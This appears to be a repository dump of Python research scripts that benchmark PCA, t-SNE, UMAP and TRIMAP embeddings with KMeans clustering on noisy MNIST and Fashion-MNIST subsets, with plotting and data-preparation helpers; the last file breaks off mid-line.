reponame
stringlengths
2
39
files
list
median_score
float64
0
11.5
laurabondeholst
[ { "content": "import pandas as pd\nimport plotly.graph_objects as go\nimport numpy as np\n\n\n\nUMAP_TSNE_FOLDER = \"reports_from_tobias/reports/fashion_natural_umap_tsne/\"\nTSNE_FOLDER = \"reports/Noiselevel_experiment_pca_tsne/Fashion/\"\nTRIMAP_FOLDER = \"reports_from_pranjal/aml_results/mnist-strat/\"\n\nfiles = [\"results_sigma0.csv\", \"results_sigma02.csv\", \"results_sigma05.csv\", \"results_sigma07.csv\", \"results_sigma1.csv\"]\nnoiselevel = [0, 0.2, 0.5, 0.7, 1]\n\n# files = [\"results_sigma0.csv\", \"results_sigma02.csv\", \"results_sigma05.csv\",\"results_sigma1.csv\"]\n# noiselevel = [0, 0.2, 0.5, 1]\n\nfor i,file in enumerate(files): \n # umap_tsne_df = pd.read_csv(UMAP_TSNE_FOLDER + file)\n trimap_df = pd.read_csv(TRIMAP_FOLDER + file)\n\n\n \n fig = go.Figure(layout_xaxis_range=[0,np.max(trimap_df.data_points_number)],layout_yaxis_range=[0,1])\n # fig.add_trace(go.Scatter(x=umap_tsne_df.data_points_number.values, y=umap_tsne_df.correct_predicted_percent_pca.values, name=\"PCA\", mode='lines'))\n fig.add_trace(go.Scatter(x=trimap_df.data_points_number.values, y=trimap_df.correct_predicted_percent_pca.values, name=\"PCA\", mode='lines', fillcolor='green'))\n \n fig.add_trace(go.Scatter(x=trimap_df.data_points_number.values, y=trimap_df.correct_predicted_percent_trimap.values, name=\"TRIMAP\", mode='lines', fillcolor='blue'))\n fig.add_trace(go.Scatter(x=trimap_df.data_points_number.values, y=trimap_df.correct_predicted_percent_tsne.values, name=\"TSNE\", mode='lines', fillcolor='red'))\n fig.add_trace(go.Scatter(x=trimap_df.data_points_number.values, y=trimap_df.correct_predicted_percent_umap.values, name=\"UMAP\", mode='lines', fillcolor='purple'))\n\n fig.update_layout(title=\"MNIST stratified distribution\", legend_title_text = \"Noise level: {}\".format(noiselevel[i]))\n fig.update_xaxes(title_text=\"Datapoints\")\n fig.update_yaxes(title_text=\"Accuracy [%]\")\n fig.show()\n\n ", "id": "46771", "language": "Python", "matching_score": 2.237955331802368, "max_stars_count": 0, "path": "src/data/show_results.py" }, { "content": "# -*- coding: utf-8 -*-\nfrom sklearn.datasets import load_digits\nfrom sklearn.preprocessing import StandardScaler\nimport time\nimport umap \nimport trimap\nimport pandas as pd\nfrom sklearn.manifold import TSNE\nfrom sklearn.cluster import KMeans\nfrom sklearn.decomposition import PCA\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom tqdm import tqdm\nimport numpy as np\nimport warnings\n\nplt.style.use('fivethirtyeight') # For better style\nwarnings.filterwarnings(\"ignore\")\n\n\n\n\n\ndef addnoise( mu, sigma, X):\n \n noise = np.random.normal(mu, sigma, X.shape) \n noisy_X = X + noise\n\n return (noisy_X)\n\nn_classes=2\ndigits = load_digits(n_class=n_classes)\ndataset_length= len(digits.data);\n\ndigits_0 = load_digits(n_class=1)\ndataset_length_0= len(digits_0 .data);\n\n\ncrossvaltimes= 10;\nnoise_range=20;\ntesting_range=dataset_length-1;\n\nprogress_bar = tqdm(range(int((noise_range+1)*(testing_range-4)/4)))\n\ncorrect_count_list_trimap=[];\ncorrect_count_list_tsne=[];\ncorrect_count_list_umap=[];\ncorrect_count_list_pca=[];\n\nfor ns in range(0,(noise_range+1)):\n noisy_X= addnoise(0,ns,digits.data) \n norm_noisy_X= StandardScaler().fit_transform(noisy_X)\n for i in range (4, testing_range,4):\n total_elements_evaluated_trimap=0;\n total_elements_evaluated_umap=0;\n total_elements_evaluated_tsne=0;\n total_elements_evaluated_pca= 0;\n correct_count_trimap=0;\n correct_count_tsne=0;\n correct_count_umap=0;\n correct_count_pca= 0;\n if(i<=10):\n crossvaltimes=20;\n elif(i<=20):\n crossvaltimes=10;\n elif(i<=50):\n crossvaltimes=5;\n elif(i<=100):\n crossvaltimes=3;\n else:\n crossvaltimes=2;\n for jr in range (0,crossvaltimes):\n # split into train test sets\n X, X_test, y, y_test = train_test_split(norm_noisy_X, digits.target, train_size=(i/dataset_length), stratify= digits.target )\n\n if(i<=4):\n n_in= i-2;\n else:\n n_in=3;\n embedding_trimap = trimap.TRIMAP(n_inliers=n_in, n_outliers=3, n_random=3).fit_transform(X);\n kmeans_trimap = KMeans(n_clusters=2, random_state=0).fit(embedding_trimap);\n predicted_labels_trimap= kmeans_trimap.labels_;\n\n embedding_tsne = TSNE(n_components=2, init='pca', random_state=0).fit_transform(X);\n kmeans_tsne = KMeans(n_clusters=2, random_state=0).fit(embedding_tsne);\n predicted_labels_tsne= kmeans_tsne.labels_;\n\n embedding_umap = umap.UMAP().fit_transform(X);\n kmeans_umap = KMeans(n_clusters=2, random_state=0).fit(embedding_umap);\n predicted_labels_umap= kmeans_umap.labels_;\n \n embedding_pca= pca = PCA(n_components=3).fit_transform(X)\n kmeans_pca = KMeans(n_clusters=2, random_state=0).fit(embedding_pca);\n predicted_labels_pca= kmeans_pca.labels_;\n \n \n \n y_find_trimap, y_analyze_trimap, pred_find_trimap, pred_analyze_trimap = train_test_split(y, predicted_labels_trimap, train_size=0.5,stratify=y);\n y_find_tsne, y_analyze_tsne, pred_find_tsne, pred_analyze_tsne = train_test_split(y, predicted_labels_tsne, train_size=0.5,stratify=y);\n y_find_umap, y_analyze_umap, pred_find_umap, pred_analyze_umap = train_test_split(y, predicted_labels_umap, train_size=0.5,stratify=y);\n y_find_pca, y_analyze_pca, pred_find_pca, pred_analyze_pca = train_test_split(y, predicted_labels_pca, train_size=0.5,stratify=y);\n \n\n count1=0; \n\n for cj in range(0,len(y_find_trimap)):\n if(y_find_trimap[cj]== pred_find_trimap[cj]):\n count1= count1+1;\n\n\n if (count1 >= (len(y_find_trimap)/2)):\n for cj in range (0, len(y_analyze_trimap)):\n if(y_analyze_trimap[cj]== pred_analyze_trimap[cj]):\n correct_count_trimap= correct_count_trimap+1;\n else:\n for cj in range (0, len(y_analyze_trimap)):\n if(y_analyze_trimap[cj]!= pred_analyze_trimap[cj]):\n correct_count_trimap= correct_count_trimap+1;\n\n total_elements_evaluated_trimap= total_elements_evaluated_trimap+ len(y_analyze_trimap)\n\n count2=0; \n for j in range(len(y_find_tsne)):\n if(y_find_tsne[j]== pred_find_tsne[j]):\n count2= count2+1;\n\n if (count2 >= (len(y_find_tsne)/2)):\n for j in range (0, len(y_analyze_tsne)):\n if(y_analyze_tsne[j]== pred_analyze_tsne[j]):\n correct_count_tsne= correct_count_tsne+1;\n else:\n for j in range (0, len(y_analyze_tsne)):\n if(y_analyze_tsne[j]!= pred_analyze_tsne[j]):\n correct_count_tsne= correct_count_tsne+1;\n\n total_elements_evaluated_tsne= total_elements_evaluated_tsne+ len(y_analyze_tsne)\n\n count3=0; \n for j in range(len(y_find_umap)):\n if(y_find_umap[j]== pred_find_umap[j]):\n count3= count3+1;\n\n if (count3 >= (len(y_find_umap)/2)):\n for j in range (0, len(y_analyze_umap)):\n if(y_analyze_umap[j]== pred_analyze_umap[j]):\n correct_count_umap= correct_count_umap+1;\n else:\n for j in range (0, len(y_analyze_umap)):\n if(y_analyze_umap[j]!= pred_analyze_umap[j]):\n correct_count_umap= correct_count_umap+1;\n total_elements_evaluated_umap= total_elements_evaluated_umap+ len(y_analyze_umap)\n \n \n count4=0; \n for j in range(len(y_find_pca)):\n if(y_find_pca[j]== pred_find_pca[j]):\n count4= count4+1;\n\n if (count4 >= (len(y_find_pca)/2)):\n for j in range (0, len(y_analyze_pca)):\n if(y_analyze_pca[j]== pred_analyze_pca[j]):\n correct_count_pca= correct_count_pca+1;\n else:\n for j in range (0, len(y_analyze_pca)):\n if(y_analyze_pca[j]!= pred_analyze_pca[j]):\n correct_count_pca= correct_count_pca+1;\n total_elements_evaluated_pca= total_elements_evaluated_pca+ len(y_analyze_pca)\n \n \n correct_count_list_trimap.append([ns,i,((correct_count_trimap*100)/(total_elements_evaluated_trimap))]);\n correct_count_list_tsne.append(((correct_count_tsne*100)/(total_elements_evaluated_tsne)));\n correct_count_list_umap.append(((correct_count_umap*100)/(total_elements_evaluated_umap)));\n correct_count_list_pca.append(((correct_count_pca*100)/(total_elements_evaluated_pca)));\n\n\n\n progress_bar.update(1)\n \n # Create the pandas DataFrame\n df = pd.DataFrame(correct_count_list_trimap, columns = ['Noise_sigma', 'data_points_number', 'correct_predicted_percent_trimap']);\n df['correct_predicted_percent_tsne'] = correct_count_list_tsne;\n df['correct_predicted_percent_umap'] = correct_count_list_umap;\n df['correct_predicted_percent_pca'] = correct_count_list_pca;\n\n\n\n\noverlapping = 0.2\n\nfor ns in range(0,(noise_range+1)):\n df_focus= df.loc[df['Noise_sigma'] == ns]\n fig, ax = plt.subplots(figsize=(15,6))\n bp= ax.plot(df_focus.data_points_number.values, df_focus.correct_predicted_percent_trimap.values, \"-y\", label=\"TRIMAP\", alpha=overlapping, linestyle= '-');\n bp= ax.plot(df_focus.data_points_number.values, df_focus.correct_predicted_percent_tsne.values, \"-r\", label=\"TSNE\", alpha=overlapping , linestyle= '-.');\n bp= ax.plot(df_focus.data_points_number.values, df_focus.correct_predicted_percent_umap.values, \"-b\", label=\"UMAP\", alpha=overlapping, linestyle= ':');\n bp= ax.plot(df_focus.data_points_number.values, df_focus.correct_predicted_percent_pca.values, \"-g\", label=\"PCA\", alpha=overlapping, linestyle= '--');\n #setting x and y axis label\n ax.set_xlabel('Number of data points') ;\n ax.set_ylabel('Percentage of data points correctly classified') ;\n ax.set_title('Noise sigma = ' + str(ns) )# + \" Cross Validation times = \" + str(crossvaltimes))\n ax.set_xlim(3, testing_range)\n ax.set_ylim(0, 105);\n ax.legend(loc=\"upper right\")\n \n ", "id": "9421204", "language": "Python", "matching_score": 5.948244571685791, "max_stars_count": 0, "path": "models/AML_with4step.py" }, { "content": "# -*- coding: utf-8 -*-\r\n\r\nfrom sklearn.datasets import load_digits\r\n\r\n# import umap # \"pip install umap-learn --ignore-installed\" does the trick for Laura\r\n# import trimap #without trimap since \r\nimport pandas as pd\r\nfrom sklearn.manifold import TSNE\r\nfrom sklearn.cluster import KMeans\r\nfrom sklearn.decomposition import PCA\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import train_test_split\r\nfrom tqdm.auto import tqdm\r\nimport numpy as np\r\nimport warnings\r\n\r\n## CHOOSE WHAT MODELS TO RUN (pca is always enabled in order to have a benchmark )\r\ntrimap_enable = False # remember to import library as well\r\ntsne_enable = False\r\numap_enable = False\r\n\r\n## CHOOSE DATASET\r\nmnist = False #false => fashion\r\n\r\n## ENABLE OR DISABLE 25/75 STRATIFICATINO\r\nstrat_enable = True\r\nmin_class_size = 0.25 # if strat_enable=True, select smallest class size (if strat false value wont be used)\r\n\r\n## CHOOSE NOISES TO ADD \r\nnoise_range=[0, 0.5, 1]\r\n\r\n## LOGSPACE PARAMETERS\r\n# Number of different amounts of datapoints evaluated\r\nDp_N = 15\r\n# Min and max datapoints range\r\nDprange_min = 4\r\nDprange_max = 300\r\n# Max repetitions ratio\r\nrepRatio = 2\r\nN_max = Dprange_max/repRatio\r\n\r\n\r\n\r\n\r\n##### Load Fashun_mnist\r\ndef load_fashion(path, kind='t10k'):\r\n import os\r\n import gzip\r\n import numpy as np\r\n \r\n \"\"\"Load MNIST data from `path`\"\"\"\r\n labels_path = os.path.join(path,\r\n '%s-labels-idx1-ubyte.gz'\r\n % kind)\r\n images_path = os.path.join(path,\r\n '%s-images-idx3-ubyte.gz'\r\n % kind)\r\n\r\n with gzip.open(labels_path, 'rb') as lbpath:\r\n labels = np.frombuffer(lbpath.read(), dtype=np.uint8,\r\n offset=8)\r\n\r\n with gzip.open(images_path, 'rb') as imgpath:\r\n images = np.frombuffer(imgpath.read(), dtype=np.uint8,\r\n offset=16).reshape(len(labels), 784)\r\n\r\n return images, labels\r\n\r\n\r\n##### kmeans_clustering\r\n\"\"\"\r\nThis script takes the coordinates of the mapping method (the output from t-SNE in my case)\r\nas well as the true labels of the correndsponding data and produces a plot of the error rate\r\nTODO: modify the ranges to fit your data\r\nTODO: modify the filepath and names of the output from the mapping method and true labels\r\n\"\"\"\r\n\r\n\r\n# import matplotlib.pyplot as plt\r\nimport plotly.graph_objects as go\r\n\r\nDATA_PATH = \"data/processed/noisy_mnist/tsne_results/\"\r\n\r\n\r\ndef run_kmeans(Y, labels, n_clusters = 2, test_size = 0.5):\r\n Y_train, Y_test, labels_train, labels_test = train_test_split(Y, labels, test_size=test_size, random_state=42)\r\n\r\n kmeans = KMeans(\r\n init=\"random\",\r\n n_clusters=n_clusters,\r\n # n_init=10,\r\n max_iter=300,\r\n random_state=42\r\n )\r\n\r\n kmeans.fit(Y_train)\r\n\r\n y_pred = kmeans.labels_\r\n\r\n # if n_clusters != 2: ## not working: several clusters get assigned same id\r\n # y_pred_new = y_pred\r\n # for cluster in range(n_clusters):\r\n # idx = np.where(y_pred == cluster)\r\n # subset_labels = labels_train[idx]\r\n # subset_labels = np.sort(subset_labels)\r\n # med = np.median(subset_labels)\r\n\r\n # y_pred_new[idx] = med\r\n\r\n # y_pred = y_pred_new\r\n \r\n mistakes_true_labels = 0\r\n mistakes_inverted_labels = 0\r\n for i in range(len(y_pred)):\r\n if y_pred[i] != labels_train[i]:\r\n mistakes_true_labels += 1\r\n else: \r\n mistakes_inverted_labels += 1\r\n \r\n # we assume that correct labels have smallest error\r\n if mistakes_true_labels < mistakes_inverted_labels: \r\n label_map = {0: 0, 1: 1}\r\n else:\r\n label_map = {0: 1, 1: 0}\r\n\r\n y_pred_test = kmeans.predict(Y_test)\r\n\r\n mistakes = 0\r\n for i in range(len(y_pred_test)):\r\n assumed_label = label_map[y_pred_test[i]]\r\n if assumed_label != labels_test[i]:\r\n mistakes += 1\r\n \r\n # mistakes = mistakes_e1 if (mistakes_e1 < mistakes_e2) else mistakes_e2\r\n return 1 - mistakes/len(y_pred_test)\r\n\r\n####\r\n\r\n\r\n# from validation import kmeans_clustering as kmeans\r\n\r\n\r\n# plt.style.use('fivethirtyeight') # For better style\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\n\r\n\r\n# DATA_PATH = \"data/processed/\"\r\n# DATA_OUTPUT = DATA_PATH + \"noisy_mnist/tsne_results/\"\r\n# X = np.loadtxt(DATA_PATH + f\"noisy_mnist/mnist2500_X_01_sigma10.txt\")\r\n# labels = np.loadtxt(DATA_PATH + \"mnist/mnist2500_labels_01.txt\")\r\n\r\n\r\n\r\ndef addnoise( mu, sigma, X):\r\n \r\n noise = np.random.normal(mu, sigma, X.shape) \r\n noisy_X = X + noise\r\n\r\n return normalise(noisy_X)\r\n\r\ndef normalise(X):\r\n mini = np.min(X)\r\n maxi = np.max(X)\r\n return (X-mini)/maxi\r\n\r\ndef distributeData(X, y, min_class_size, classes = [0,1]):\r\n \"\"\"\r\n Will stratify the data unevenly, so that the first class is min_size large\r\n min_class_size should be float between 0 and 0.5\r\n Returns: X, y\r\n \"\"\"\r\n index0 = np.where(y==classes[0])\r\n index1 = np.where(y==classes[1])\r\n\r\n temp_x0 = X[index0[0]]\r\n temp_y0 = y[index0[0]]\r\n temp_x1 = X[index1[0]]\r\n temp_y1 = y[index1[0]]\r\n\r\n print(\"Previous perc of class 0 between classes: {} \".format(len(temp_x0)/(len(temp_x0)+len(temp_x1))))\r\n print(\"Previous perc of class 1 between classes: {} \".format(len(temp_x1)/(len(temp_x0)+len(temp_x1))))\r\n arr_rand = np.random.rand(len(temp_x0))\r\n split = arr_rand < np.percentile(arr_rand,100*(min_class_size/(1-min_class_size)))\r\n\r\n temp_x0 = temp_x0[split]\r\n temp_y0 = temp_y0[split]\r\n\r\n\r\n print(\"Current perc of class 0 between classes: {} \".format(len(temp_x0)/(len(temp_x0)+len(temp_x1))))\r\n print(\"Current perc of class 1 between classes: {} \".format(len(temp_x1)/(len(temp_x0)+len(temp_x1))))\r\n\r\n new_X = np.concatenate((temp_x0,temp_x1))\r\n new_y = np.concatenate((temp_y0,temp_y1))\r\n return new_X, new_y\r\n\r\n\r\ndef mapTarget(y):\r\n vals = np.unique(y)\r\n index = 0\r\n for val in vals:\r\n idx = np.where(y == val)\r\n y[idx] = index\r\n index += 1\r\n\r\n return y\r\n\r\n\r\n## INITIALISING VALUES\r\nif mnist: \r\n n_classes=2\r\n classes = [0,1]\r\n digits = load_digits(n_class=n_classes)\r\n\r\n # digits_0 = load_digits(n_class=1)\r\n # dataset_length_0= len(digits_0.data);\r\n\r\nelse: \r\n from sklearn.utils import shuffle\r\n import os\r\n\r\n digits = load_digits(n_class=2) # i know this is not smart, but I am tired \r\n path = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\r\n digits.data, digits.target = load_fashion(path=path + \"\\\\data\\\\processed\\\\fashion_mnist\")\r\n\r\n classes = [1,8]\r\n idx_0 = np.where(digits.target == classes[0]) \r\n idx_1 = np.where(digits.target == classes[1]) \r\n\r\n digits.data = np.concatenate([digits.data[idx_0], digits.data[idx_1]])\r\n N = len(digits.data)\r\n digits.data = np.reshape(digits.data,[N,784])\r\n digits.target = np.concatenate([digits.target[idx_0], digits.target[idx_1]])\r\n\r\n digits.data, digits.target = shuffle(digits.data, digits.target)\r\n digits.target = mapTarget(digits.target) # mapping targets to 0 and 1 instead\r\n\r\nif strat_enable: \r\n digits.data, digits.target = distributeData(digits.data, digits.target, min_class_size = min_class_size) # outcomment for natural distribution\r\ndataset_length = len(digits.target)\r\n# print(f\"Length of dataset: {dataset_length}\")\r\n# print(f\"Shape of data: {digits.data[0].shape}\")\r\n# print(digits.data[0])\r\n\r\n\r\nX_norm = []\r\nfor digit in digits.data:\r\n X_norm.append(normalise(digit))\r\n\r\n\r\ncrossvaltimes= 5;\r\n\r\ntesting_range=75\r\ntrain_size = 0.5\r\n\r\n# progress_bar = tqdm(range(noise_range*(testing_range-4)))\r\n\r\ncorrect_count_list_pca = []\r\ncorrect_count_list_trimap=[];\r\ncorrect_count_list_tsne=[];\r\ncorrect_count_list_umap=[];\r\n\r\n\r\nns_i_list = []\r\n\r\nif dataset_length<Dprange_max:\r\n Dprange_max = dataset_length\r\n\r\ndatapoint_range = np.rint(np.logspace(np.log10(Dprange_min),np.log10(Dprange_max),num=Dp_N))\r\ndatapoint_range = datapoint_range.astype(int).tolist()\r\n\r\n# datapoint_range = []\r\n\r\n# max_range = dataset_length #if dataset_length < 300 else 300\r\n# for i in range(4,100): # from 4 since some models requires at least 3 datapoints\r\n# if i < 10:\r\n# datapoint_range.append(i)\r\n# elif i < 100 and i%10 == 0: \r\n# datapoint_range.append(i)\r\n# elif i%50 == 0: \r\n# datapoint_range.append(i)\r\n\r\n\r\n\r\nrepetition_range = np.rint(np.divide(Dprange_min*N_max,datapoint_range))\r\nrepetition_range = repetition_range.astype(int).tolist()\r\n\r\n# repetition_range = []\r\n\r\n# for i in datapoint_range:\r\n# perc = i/max_range*100\r\n# if perc < 1:\r\n# perc = 1\r\n\r\n# repetition_range.append(int(100/perc))\r\n\r\n\r\n\r\n## MAIN LOOP\r\nfor ns in noise_range: \r\n if ns != 0: \r\n noisy_X= addnoise(0,ns,np.array(X_norm))\r\n else:\r\n noisy_X = X_norm\r\n\r\n progress_bar = tqdm(np.array(datapoint_range)*np.array(repetition_range))\r\n\r\n correct_count_list_pca = []\r\n correct_count_list_trimap=[]\r\n correct_count_list_tsne=[]\r\n correct_count_list_umap=[]\r\n\r\n\r\n ns_i_list = []\r\n \r\n \r\n for i_enum, i in enumerate(datapoint_range):\r\n correct_count_pca=[]\r\n correct_count_trimap=0\r\n correct_count_tsne=[]\r\n correct_count_umap=[]\r\n np.random.seed(42)\r\n for jr in range(repetition_range[i_enum]):\r\n # randomly select the correct number of datapoints\r\n X, _, y, _ = train_test_split(noisy_X, digits.target, train_size=float(i)/float(dataset_length), stratify=digits.target ) \r\n\r\n # zero = 0 \r\n # for x in y:\r\n # if x == 0:\r\n # zero +=1\r\n\r\n # print(zero/i)\r\n \r\n\r\n y_pred= pca = PCA(n_components=3).fit_transform(X)\r\n correct_count_pca.append(run_kmeans(y_pred, y, test_size=0.5))\r\n\r\n if trimap_enable: \r\n if(i<=4):\r\n n_in= i-2\r\n else:\r\n n_in=3\r\n y_pred = trimap.TRIMAP(n_inliers=n_in, n_outliers=3, n_random=3).fit_transform(X)\r\n correct_count_trimap.append(run_kmeans(y_pred, y, test_size=1-train_size))\r\n\r\n if tsne_enable: \r\n y_pred = TSNE(n_components=2, init='pca', random_state=0).fit_transform(X)\r\n correct_count_tsne.append(run_kmeans(y_pred, y, test_size=1-train_size))\r\n\r\n if umap_enable: \r\n y_pred = umap.UMAP().fit_transform(X)\r\n correct_count_umap.append(run_kmeans(y_pred, y, test_size=1-train_size))\r\n\r\n\r\n ns_i_list.append([ns, i])\r\n correct_count_list_pca.append(np.mean(correct_count_pca))\r\n\r\n if trimap_enable: \r\n correct_count_list_trimap.append(np.mean(correct_count_trimap))\r\n if tsne_enable: \r\n correct_count_list_tsne.append(np.mean(correct_count_tsne))\r\n if umap_enable: \r\n correct_count_list_umap.append(np.mean(correct_count_umap))\r\n\r\n\r\n\r\n progress_bar.update(1)\r\n \r\n # Create the pandas DataFrame\r\n df = pd.DataFrame(ns_i_list, columns=['Noise_sigma', 'data_points_number'])\r\n\r\n df['correct_predicted_percent_pca'] = correct_count_list_pca\r\n\r\n\r\n if trimap_enable: \r\n df['correct_predicted_percent_trimap'] = correct_count_list_trimap\r\n if tsne_enable: \r\n df['correct_predicted_percent_tsne'] = correct_count_list_tsne\r\n if umap_enable: \r\n df['correct_predicted_percent_umap'] = correct_count_list_umap\r\n\r\n df.to_csv('results_sigma{}.csv'.format(ns))\r\n\r\n fig = go.Figure(layout_xaxis_range=[0,np.max(datapoint_range)],layout_yaxis_range=[0,1])\r\n \r\n fig.add_trace(go.Scatter(x=df.data_points_number.values, y=df.correct_predicted_percent_pca.values, name=\"PCA\", mode='lines'))\r\n \r\n if trimap_enable:\r\n fig.add_trace(go.Scatter(x=df.data_points_number.values, y=df.correct_predicted_percent_trimap.values, name=\"TRIMAP\", mode='lines'))\r\n if tsne_enable:\r\n fig.add_trace(go.Scatter(x=df.data_points_number.values, y=df.correct_predicted_percent_tsne.values, name=\"TSNE\", mode='lines'))\r\n if umap_enable:\r\n fig.add_trace(go.Scatter(x=df.data_points_number.values, y=df.correct_predicted_percent_umap.values, name=\"UMAP\", mode='lines'))\r\n\r\n fig.update_layout(legend_title_text = \"Noise level: {}\".format(ns))\r\n fig.update_xaxes(title_text=\"Datapoints\")\r\n fig.update_yaxes(title_text=\"Accuracy [%]\")\r\n fig.show()", "id": "12039723", "language": "Python", "matching_score": 6.346012592315674, "max_stars_count": 0, "path": "AML.py" }, { "content": "\"\"\"\nThis script takes the coordinates of the mapping method (the output from t-SNE in my case)\nas well as the true labels of the correndsponding data and produces a plot of the error rate\n\nTODO: modify the ranges to fit your data\nTODO: modify the filepath and names of the output from the mapping method and true labels\n\n\"\"\"\n\nimport numpy as np\nfrom sklearn.cluster import KMeans\nfrom sklearn.model_selection import train_test_split\n# import matplotlib.pyplot as plt\nimport plotly.graph_objects as go\n\nDATA_PATH = \"data/processed/noisy_mnist/tsne_results/\"\n\n\ndef run_kmeans(Y, labels, n_clusters = 2, test_size = 0.5):\n Y_train, Y_test, labels_train, labels_test = train_test_split(Y, labels, test_size=test_size, random_state=42)\n\n kmeans = KMeans(\n init=\"random\",\n n_clusters=n_clusters,\n # n_init=10,\n max_iter=300,\n random_state=42\n )\n\n kmeans.fit(Y_train)\n\n y_pred = kmeans.labels_\n\n # if n_clusters != 2: ## not working: several clusters get assigned same id\n # y_pred_new = y_pred\n # for cluster in range(n_clusters):\n # idx = np.where(y_pred == cluster)\n # subset_labels = labels_train[idx]\n # subset_labels = np.sort(subset_labels)\n # med = np.median(subset_labels)\n\n # y_pred_new[idx] = med\n\n # y_pred = y_pred_new\n \n mistakes_true_labels = 0\n mistakes_inverted_labels = 0\n for i in range(len(y_pred)):\n if y_pred[i] != labels_train[i]:\n mistakes_true_labels += 1\n else: \n mistakes_inverted_labels += 1\n \n # we assume that correct labels have smallest error\n if mistakes_true_labels < mistakes_inverted_labels: \n label_map = {0: 0, 1: 1}\n else:\n label_map = {0: 1, 1: 0}\n\n y_pred_test = kmeans.predict(Y_test)\n\n mistakes = 0\n for i in range(len(y_pred_test)):\n assumed_label = label_map[y_pred_test[i]]\n if assumed_label != labels_test[i]:\n mistakes += 1\n \n # mistakes = mistakes_e1 if (mistakes_e1 < mistakes_e2) else mistakes_e2\n return 1 - mistakes/len(y_pred_test)\n\n\n\nif __name__ == \"__main__\":\n error = []\n perc = []\n\n i = 5\n sigma = 50\n\n \n for percentile in range(1,10,1):\n # Y = np.loadtxt(DATA_PATH + f\"TSNE_output_{percentile}_sigma{sigma}.txt\") \n # labels = np.loadtxt(DATA_PATH + f\"true_labels_{percentile}_sigma{sigma}.txt\")\n\n # run_kmeans(Y, labels, percentile, error[i], perc[i], 2)\n\n Y = np.loadtxt(DATA_PATH + f\"TSNE_output_{percentile}_sigma{sigma}.txt\") \n labels = np.loadtxt(DATA_PATH + f\"true_labels_{percentile}_sigma{sigma}.txt\")\n\n error.append(run_kmeans(Y, labels, 2))\n perc.append(percentile)\n\n for percentile in range(10,110,10):\n # # Y = np.loadtxt(DATA_PATH +f\"TSNE_output_{percentile}_sigma{sigma}.txt\") \n # # labels = np.loadtxt(DATA_PATH +f\"true_labels_{percentile}_sigma{sigma}.txt\")\n\n # # run_kmeans(Y, labels, percentile, error[i], perc[i], 2)\n\n Y = np.loadtxt(DATA_PATH + f\"TSNE_output_{percentile}_sigma{sigma}.txt\") \n labels = np.loadtxt(DATA_PATH + f\"true_labels_{percentile}_sigma{sigma}.txt\")\n\n error.append(run_kmeans(Y, labels, 2))\n perc.append(percentile)\n\n # for j in range(len(error)): \n # curr_err = error[j]\n # if curr_err < 0.4:\n # error[j] = 1-curr_err\n\n fig = go.Figure()\n\n # for i in range(len(perc)):\n # fig.add_trace(go.Scatter(x=perc[i], y=error[i],\n # mode='lines',\n # name=i+1\n # ))\n\n fig.add_trace(go.Scatter(x=perc, y=error,\n mode='lines'\n ))\n \n fig.show()\n\n", "id": "7608177", "language": "Python", "matching_score": 2.272954225540161, "max_stars_count": 0, "path": "src/validation/kmeans_clustering.py" }, { "content": "import numpy as np\nimport plotly.graph_objects as go\nfrom t_sne_implementation import tsne\nfrom validation import kmeans_clustering as kmeans\n\n\nDATA_PATH = \"data/processed/\"\nDATA_OUTPUT = DATA_PATH + \"noisy_mnist/tsne_results/\"\nX = np.loadtxt(DATA_PATH + f\"noisy_mnist/mnist2500_X_01_sigma10.txt\")\nlabels = np.loadtxt(DATA_PATH + \"mnist/mnist2500_labels_01.txt\")\n\ntrain_size = 0.5\n\npercentiles = [1,2,3,4,5,6,7,8,9,10,15,20,25,30,35,40,45,50,60,70,80,90,100]\n# percentiles = [1,2,3,4,5,6,7,8,9,10]\nrepetitions = np.array(100/np.array(percentiles))\nrepetitions = repetitions.astype(int)\n\naccuracy = []\nfor perc_i, percentile in enumerate(percentiles):\n print(f\"Running for percentile: {percentile}\")\n # divide data into subsets equal to percentile * repetions\n np.random.seed(42) # seed is reset every time so we may run a single percentile alone and still get the same results\n \n perc_acc = []\n for rep in range(repetitions[perc_i]):\n if rep%10 == 0:\n print(f\"Running repetition {rep} out of {repetitions[perc_i]}\")\n arr_rand = np.random.rand(X.shape[0])\n split = arr_rand < np.percentile(arr_rand, percentile)\n \n X_split = X[split]\n labels_split = labels[split]\n\n Y = tsne.tsne(X = X_split)\n perc_acc.append(kmeans.run_kmeans(Y, labels_split, test_size=1-train_size))\n # \n curr_acc = np.mean(perc_acc)\n accuracy.append(curr_acc) \n print(f\"Mean accuracy for percentile {percentile} is: {curr_acc}\")\n # save error for percentile\n\n\nfig = go.Figure() \nfig.add_trace(go.Scatter(x=percentiles, y=accuracy,\n mode='lines'\n ))\n \nfig.show()", "id": "6792057", "language": "Python", "matching_score": 1.7327792644500732, "max_stars_count": 0, "path": "src/main.py" }, { "content": "\"\"\"\nTakes the MNIST dataset as input (images and labels separated)\nand creates a new dataset only with 0's and 1's\n\"\"\"\n\nimport numpy as np\n\nDATA_PATH = \"data/raw/\"\nOUTPUT_PATH = \"data/processed/mnist/\"\nX = np.loadtxt(DATA_PATH + \"mnist2500_X.txt\")\nlabels = np.loadtxt(DATA_PATH + \"mnist2500_labels.txt\")\n\nX_new = []\nlabels_new = []\n\nfor i,label in enumerate(labels):\n if label < 5: \n labels_new.append(label)\n X_new.append(X[i])\n if i%100 == 0: \n print(f\"{i} labels passed\")\n\nnp.savetxt(OUTPUT_PATH + \"mnist2500_X_01234.txt\",X_new)\nnp.savetxt(OUTPUT_PATH +\"mnist2500_labels_01234.txt\",labels_new)", "id": "33438", "language": "Python", "matching_score": 0.25978532433509827, "max_stars_count": 0, "path": "src/data/mnist_converter.py" }, { "content": "from tensorflow.keras.datasets import fashion_mnist\nimport numpy as np\n(X_train, Y_train), (X_test, Y_test) = fashion_mnist.load_data()\n\nprint(Y_train)\nidx_0 = np.where(Y_train == 9) # ankle boot\nidx_1 = np.where(Y_train == 7) # sneaker\n\nY_train = np.concatenate([np.array(Y_train[idx_0]), np.array(Y_train[idx_1])])\nprint(Y_train)\n# N = len(digits.data)\n# digits.data = np.reshape(digits.data,[N,784])\n# digits.target = digits.target[idx_0] + digits.target[idx_1]\n\n", "id": "10605406", "language": "Python", "matching_score": 0.22669675946235657, "max_stars_count": 0, "path": "src/fmnist.py" }, { "content": "import pandas as pd\nimport numpy as np\nimport argparse\n\nimport matplotlib.pyplot as plt\n\nparser = 